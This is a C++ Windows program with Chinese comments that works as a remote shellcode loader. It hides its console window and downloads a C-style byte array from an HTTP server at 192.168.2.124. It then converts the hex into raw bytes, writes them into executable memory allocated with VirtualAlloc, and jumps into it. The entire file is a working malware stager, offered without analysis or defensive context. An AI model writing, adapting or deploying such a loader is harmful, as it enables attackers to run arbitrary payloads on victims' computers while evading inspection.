#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#pragma comment(lib, "WinInet.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
using namespace std;
char* testurl(const wchar_t* URL, const wchar_t* SubPath)
{
HINTERNET z, y, x = NULL;//创建三个句柄用于接收后面的返回值
DWORD orf, ret = 0;//double word 两个字节
unsigned char* rhi = NULL;
DWORD rhisize = 2048;
BYTE* j = NULL;
DWORD k = 64 * 2048;
z = ::InternetOpen(L"刘波/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//初始化wininet,类似于wsastartup(),返回一个Hinternet句柄
/*
HINTERNET InternetOpen(
_In_ LPCTSTR lpszAgent,//设置ua
_In_ DWORD dwAccessType,//设置访问类型,通过代理,直接连接
_In_ LPCTSTR lpszProxyName,//代理账号
_In_ LPCTSTR lpszProxyBypass,//代理密码
_In_ DWORD dwFlags
);*/
Sleep(12);
y = ::InternetConnect(z,URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);//创建一个http连接(初始化wininet句柄,要连接的url,使用的端口,)
//HINTERNET WINAPI InternetConnect(HINTERNET z, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName(用户名), LPCTSTR lpszPassword(密码), DWORD dwService(指定要访问的服务器类型), DWORD dwFlags, DWORD dwContext);
//成功返回句柄,不成功返回null;
if (NULL == y)
return NULL;
orf = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;
x = HttpOpenRequest(y,L"GET", SubPath, NULL, NULL, NULL, orf, 0);
HttpSendRequest(x, NULL, 0, NULL, 0);
rhi = new unsigned char[rhisize];
RtlZeroMemory(rhi, rhisize);
HttpQueryInfo(x, HTTP_QUERY_RAW_HEADERS_CRLF, rhi, &rhisize, NULL);
j = new BYTE[k];
RtlZeroMemory(j, k);
InternetReadFile(x, j, k, &ret);
return (char*)j;
}
void* sh(int a) {
void* p = VirtualAlloc(NULL, a / 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
return p;
}
string del_chr(std::string test) {
test.erase(test.find("unsigned char buf[] ="), strlen("unsigned char buf[] ="));
test.erase(test.find(";"), 1);
test.erase(test.find(" "), 1);
while (test.find("\n") != -1) {
try {
test.erase(test.find("\n"), strlen("\n"));
}
catch (...) {
continue;
}
}
while (test.find("\\x") != -1) {
try {
test.erase(test.find("\\x"), strlen("\\x"));
}
catch(...){
continue;
}
}
while (test.find("\"") != -1) {
try {
test.erase(test.find("\""), strlen("\""));
}
catch (...) {
continue;
}
}
return test;
}
int main(int argc, char* argv[])
{
std::string b = testurl(L"192.168.2.124", L"/1.txt");
std::string c = del_chr(b);
const char* d = c.data();
printf("%s \n", d);
//char* b = del_chr(c);
//printf("%s,test,test \n", b);
//int b_length = strlen(b);
int d_length = strlen(d);
int size = d_length * sizeof(unsigned char);
unsigned char* value = (unsigned char*)malloc(size);
for (size_t count = 0; count < d_length / 2; count++) {
sscanf(d, "%2hhx", &value[count]);
d += 2;
}
LPVOID test = sh(d_length / 2);
memcpy(test,value, d_length/2);
((void(*)())test)();
system("pause");
return 0;
}